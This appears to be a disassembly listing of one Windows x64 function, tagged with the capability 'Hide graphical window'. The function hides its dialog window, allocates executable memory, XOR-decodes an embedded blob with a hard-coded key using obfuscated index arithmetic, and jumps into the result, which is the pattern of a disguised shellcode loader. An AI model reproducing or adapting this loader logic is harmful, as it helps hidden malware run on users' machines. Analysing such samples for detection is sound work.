Function at 0x140001410
Capabilities:
Hide graphical window

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbx
push rdi
sub rsp, 0x228
mov qword [rsp + 0x210], 0xfffffffffffffffe
mov rax, qword [0x140116948]
xor rax, rsp
mov qword [rsp + 0x218], rax
lea rax, vtable.WTL::CMessageLoop.0
mov qword [rsp + 0xc0], rax
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x130]
mov qword [rax], 0
mov rax, qword [rsp + 0x130]
mov dword [rax + 8], 0
mov rax, qword [rsp + 0x130]
mov dword [rax + 0xc], 0
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x138]
mov qword [rax], 0
mov rax, qword [rsp + 0x138]
mov dword [rax + 8], 0
mov rax, qword [rsp + 0x138]
mov dword [rax + 0xc], 0
lea rdx, [rsp + 0xc0]
lea rcx, [0x140117b90]
call fcn.140001bf0
lea rcx, [rsp + 0x50]
call fcn.140003c00
lea rax, [rsp + 0x90]
mov qword [rsp + 0x160], rax
mov rcx, qword [rsp + 0x160]
lea rax, vtable.WTL::CMessageFilter.0
mov qword [rcx], rax
lea rax, vtable.CMainDlg.1.0
mov qword [rsp + 0x50], rax
lea rax, vtable.CMainDlg.0
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x98], 0
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140004bd0
test rax, rax
jne 0x1400015c9
mov dword [rsp + 0x124], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x190]
add rax, 0x18
mov qword [rsp + 0x188], rax
mov rax, qword [rsp + 0x188]
cmp qword [rax], 0
je 0x1400015a2
mov rax, qword [rsp + 0x188]
mov rax, qword [rax]
mov qword [rsp + 0x180], rax
mov rcx, qword [rsp + 0x180]
call fcn.14004a6d4
nop
lea rcx, [rsp + 0xd8]
call fcn.140005690
nop
lea rcx, [rsp + 0xc8]
call fcn.140005620
mov eax, dword [rsp + 0x124]
jmp 0x1400018da
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rsp + 0x38], 0
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0xb0], 0x3d5ac
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rsp + 0xb0]
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, 0xffffffffffffffff
call fcn.140001312
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
jge 0x1400016bc
mov dword [rsp + 0x128], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x1a8], rax
mov rax, qword [rsp + 0x1a8]
add rax, 0x18
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x1a0]
cmp qword [rax], 0
je 0x140001695
mov rax, qword [rsp + 0x1a0]
mov rax, qword [rax]
mov qword [rsp + 0x198], rax
mov rcx, qword [rsp + 0x198]
call fcn.14004a6d4
nop
lea rcx, [rsp + 0xd8]
call fcn.140005690
nop
lea rcx, [rsp + 0xc8]
call fcn.140005620
mov eax, dword [rsp + 0x128]
jmp 0x1400018da
mov dword [rsp + 0x120], 0
jmp 0x1400016da
mov eax, dword [rsp + 0x120]
add eax, 1
mov dword [rsp + 0x120], eax
movsxd rdi, dword [rsp + 0x120]
lea rcx, [0x1400669d0]
call fcn.14004b270
mov ebx, eax
lea rcx, [0x1400669c8]
call fcn.14004b270
sub ebx, eax
lea rcx, [0x1400669c0]
call fcn.14004b270
add ebx, eax
lea rcx, [0x1400669b8]
call fcn.14004b270
sub ebx, eax
lea rcx, [0x1400669b0]
call fcn.14004b270
sub ebx, eax
lea rcx, [0x1400669a8]
call fcn.14004b270
sub ebx, eax
lea rcx, str.1021
call fcn.14004b270
add ebx, eax
lea rcx, str._525
call fcn.14004b270
mov r11d, eax
mov eax, ebx
add eax, r11d
movsxd rcx, eax
mov rax, qword [rsp + 0xb0]
sub rax, rcx
cmp rdi, rax
jae 0x14000182d
movsxd rcx, dword [rsp + 0x120]
lea rax, [0x1400d8020]
movzx edi, byte [rax + rcx]
mov eax, dword [rsp + 0x120]
cdq
mov ecx, 0x41
idiv ecx
movsxd rcx, edx
lea rax, str.d1d35XHZ7BXkaAJuR__K03fHODYd0a9QGM7GXru_x0b0_7_fBBs_h50J_9Lm
movsx eax, byte [rax + rcx]
xor edi, eax
lea rcx, [0x1400669d0]
call fcn.14004b270
mov ebx, eax
lea rcx, [0x1400669c8]
call fcn.14004b270
sub ebx, eax
lea rcx, [0x1400669c0]
call fcn.14004b270
add ebx, eax
lea rcx, [0x1400669b8]
call fcn.14004b270
sub ebx, eax
lea rcx, [0x1400669b0]
call fcn.14004b270
sub ebx, eax
lea rcx, [0x1400669a8]
call fcn.14004b270
sub ebx, eax
lea rcx, str.1021
call fcn.14004b270
add ebx, eax
lea rcx, str._525
call fcn.14004b270
mov ecx, ebx
add ecx, eax
mov eax, dword [rsp + 0x120]
sub eax, ecx
movsxd rcx, eax
mov rax, qword [rsp + 0x30]
mov byte [rax + rcx], dil
jmp 0x1400016c9
call qword [rsp + 0x30]
cmp dword [rsp + 0x38], 0
jl 0x140001840
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, [rsp + 0xc0]
call fcn.140001900
mov dword [rsp + 0x3c], eax
lea rcx, [0x140117b90]
call fcn.140001d00
mov eax, dword [rsp + 0x3c]
mov dword [rsp + 0x12c], eax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x200], rax
mov rax, qword [rsp + 0x200]
add rax, 0x18
mov qword [rsp + 0x1f8], rax
mov rax, qword [rsp + 0x1f8]
cmp qword [rax], 0
je 0x1400018b8
mov rax, qword [rsp + 0x1f8]
mov rax, qword [rax]
mov qword [rsp + 0x1f0], rax
mov rcx, qword [rsp + 0x1f0]
call fcn.14004a6d4
nop
lea rcx, [rsp + 0xd8]
call fcn.140005690
nop
lea rcx, [rsp + 0xc8]
call fcn.140005620
mov eax, dword [rsp + 0x12c]
mov rcx, qword [rsp + 0x218]
xor rcx, rsp
call fcn.14004b2c0
add rsp, 0x228
pop rdi
pop rbx
ret